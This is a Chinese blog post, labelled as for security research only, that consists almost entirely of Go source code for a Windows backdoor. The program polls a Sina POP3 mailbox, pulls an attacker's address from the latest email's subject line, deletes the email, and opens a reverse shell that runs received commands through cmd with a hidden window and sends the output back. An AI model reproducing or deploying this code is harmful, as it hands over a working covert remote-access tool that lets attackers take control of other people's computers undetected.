版權聲明:本文可能為部落客原創文章,若标明出處可随便轉載。 https://blog.csdn.net/Jailman/article/details/78321872
僅作安全研究
package main
import (
"os/exec"
"go-pop3"
"log"
"strings"
"net"
// "fmt"
"syscall"
"bufio"
"time"
)
//反彈shell函數
func reverseshell(addr string){
if c,_:=net.Dial("tcp", addr); c != nil {
for{
status, _ := bufio.NewReader(c).ReadString('\n');
//顯示輸入指令
// fmt.Println(status)
//輸入exit指令退出
if status == "exit\n" {
break
}
//輸入Ctrl+C時字元為空退出
if status == "" {
break
}
//執行指令傳回結果
cmd := exec.Command("cmd", "/C", status)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, _ := cmd.Output();
c.Write([]byte(out))
}
}
}
//擷取Email中的位址并調用反彈shell函數
func Get_Address_to_Rverse_shell(username string, password string){
client, err := pop3.Dial("pop.sina.com:110")
if err != nil {
log.Fatalf("Error: %v\n", err)
}
defer func() {
client.Quit()
client.Close()
}()
if err = client.User(username); err != nil {
log.Printf("Error: %v\n", err)
return
}
if err = client.Pass(password); err != nil {
log.Printf("Error: %v\n", err)
return
}
var count int
var size uint64
if count, size, err = client.Stat(); err != nil {
log.Printf("Error: %v\n", err)
return
}
log.Printf("Count: %d, Size: %d\n", count, size)
var content string
if content, err = client.Retr(count); err != nil {
log.Printf("Error: %v\n", err)
return
}
if err = client.Dele(count); err != nil {
log.Printf("Error: %v\n", err)
return
}
if err = client.Noop(); err != nil {
log.Printf("Error: %v\n", err)
return
}
if err = client.Rset(); err != nil {
log.Printf("Error: %v\n", err)
return
}
//處理郵件object,擷取位址
list := strings.Split(content, "\r\n")
for i := 0; i < len(list); i++ {
line := list[i]
if strings.Contains(line, "Subject:"){
addrlist := strings.Split(line, ":")
if len(addrlist) == 3 {
temp_addr := addrlist[1] + ":" + addrlist[2]
ADDR := strings.Replace(temp_addr, " ", "", -1)
reverseshell(ADDR)
// go reverseshell(ADDR)
}
}
}
}
func main(){
username := "xxx"
password := "xxx"
for{
Get_Address_to_Rverse_shell(username, password)
time.Sleep(10 * time.Second)
}
}